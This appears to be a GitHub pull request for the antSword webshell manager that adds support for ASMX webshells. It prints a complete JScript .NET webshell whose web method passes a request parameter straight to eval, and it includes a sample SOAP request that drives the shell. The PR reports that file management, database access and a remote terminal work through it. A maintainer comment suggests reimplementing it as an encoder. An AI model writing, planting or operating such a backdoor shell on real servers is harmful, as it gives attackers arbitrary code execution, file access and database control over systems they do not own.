antSword
antSword copied to clipboard
Shell support with the suffix of asmx added.
添加asmx后缀的shell支持。
由于asmx的shell传输数据时使用xml格式,目前蚁剑对asp类的shell只支持标准的post发包,不支持自定义格式,使用编码器也无法实现,因此尝试直接底层实现asmx shell的xml发包。
shell
- 对应的asmx shell代码参考了https://www.jianshu.com/p/a189e0d1790b。
- 连接密码
Ivan。 - 如果需要修改连接密码,请修改代码中的两处
Ivan。
<%@ WebService Language="JScript" class="asmxWebMethodSpy"%>
import System;
import System.Text;
import System.Web;
import System.IO;
import System.Web.Services;
public class asmxWebMethodSpy extends WebService
{
WebMethodAttribute function Invoke(Ivan: String) : Void
{
var I = HttpContext.Current;
var Request = I.Request;
var Response = I.Response;
var Server = I.Server;
Response.Write("<H1>Just for Research Learning, Do Not Abuse It! Written By <a href='https://github.com/Ivan1ee'>Ivan1ee</a></H1>");
eval(Ivan);
}
}
shell请求
- 此shell在连接时,需要以xml格式发包
POST /2.asmx HTTP/1.1
Host: 172.16.12.73
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:16.0.1) Gecko/20121011 Firefox/21.0.1
Content-Type: text/xml; charset=utf-8
Content-Length: 350
Connection: close
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<Invoke xmlns="http://tempuri.org/">
<Ivan>Response.Write("Hello Word !");Response.End();</Ivan>
</Invoke>
</soap:Body>
</soap:Envelope>
实现功能
- [x] 首页添加,正常。
- [x] 文件管理,上传、下载、新建、删除、修改、重命名,正常。
- [x] 数据库管理,access、mssql 正常。
- [x] 虚拟终端,正常。
测试结果
- 添加
- 虚拟终端
- 文件管理
- 数据库管理
END
@ba0gu0 感谢PR,看了一下Payload,可以将新类型改为 ASPXRAW,将 asmx 作为一个编码器,会更有通用性一些。
例如将来若有shell是接收 json 格式,只需要加个编码器就可以满足需求了。
done,采用编码器方式实现:https://github.com/AntSwordProject/antSword/commit/b088f1cfabdaf5f9fbea90ec8262240efffaa7cb